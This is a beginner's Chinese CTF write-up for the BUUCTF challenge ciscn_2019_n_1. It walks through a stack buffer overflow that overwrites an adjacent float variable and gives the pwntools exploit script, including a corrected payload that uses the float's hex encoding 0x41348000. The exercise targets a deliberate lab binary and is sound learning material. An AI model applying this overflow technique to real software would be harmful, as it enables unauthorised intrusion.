天天看點

初學pwn-BUUCTF(ciscn_2019_n_1)初學pwn-writeUp

初學pwn-writeUp

BUUCTF的第四道題,ciscn-2019_n_1。

首先還是連結遠端檢視一下。

初學pwn-BUUCTF(ciscn_2019_n_1)初學pwn-writeUp

這裡提示讓猜一個數字,然後他告訴我們,這個數字應該是11.28125。這就有點掩耳盜鈴了呀,但是輸入了11.28125,還是在說應該輸入11.28125。可能是有點問題,ida打開檢視一下。

初學pwn-BUUCTF(ciscn_2019_n_1)初學pwn-writeUp

可以看到主函數裡,調用了三個函數,前兩個都是set某個值,我們直接看func函數。

初學pwn-BUUCTF(ciscn_2019_n_1)初學pwn-writeUp

那這就很明顯了,剛剛輸入的值賦給了v1,但是這裡是要讓v2的值等于11.28125才可以。檢視一下位址。

初學pwn-BUUCTF(ciscn_2019_n_1)初學pwn-writeUp

嗯,跟想象的一樣,v2緊跟在v1後面,隻要在輸入v1的時候,讓它棧溢出,覆寫掉v2就可以了。

不過我在這裡輸入的時候犯了一個錯誤

exp

from pwn import *

p = remote("node4.buuoj.cn", 25154);

payload = 'a' * 0x2c + p64(11.28125).decode("iso-8859-1");

p.recvuntil("number.");

p.sendline(payload);

p.interactive();
           

這樣去執行腳本,沒有完成,我想到了會不會是浮點數的原因。查了一下,發現p64這個函數使用來打包整數的,小數不可以。而且,覆寫在位址上的應該是浮點數轉化過之後的樣子。

這裡首先應該将浮點數轉換為二進制數,然後修改為符号位+指數位+尾數位的形式,最後将它轉換為十六進制,也就是

41348000。當然也可以不轉換,因為這個浮點數在程式中有展現,那麼肯定會有一個資料段記錄着他的十六進制數。檢視一下。

初學pwn-BUUCTF(ciscn_2019_n_1)初學pwn-writeUp

可以看到這裡就有41348000這個十六進制數字。修改腳本

exp

from pwn import *

p = remote("node4.buuoj.cn", 25154);

payload = 'a' * 0x2c + p64(0x41348000).decode("iso-8859-1");

p.recvuntil("number.");

p.sendline(payload);

p.interactive();

           

執行,獲得flag。

PWN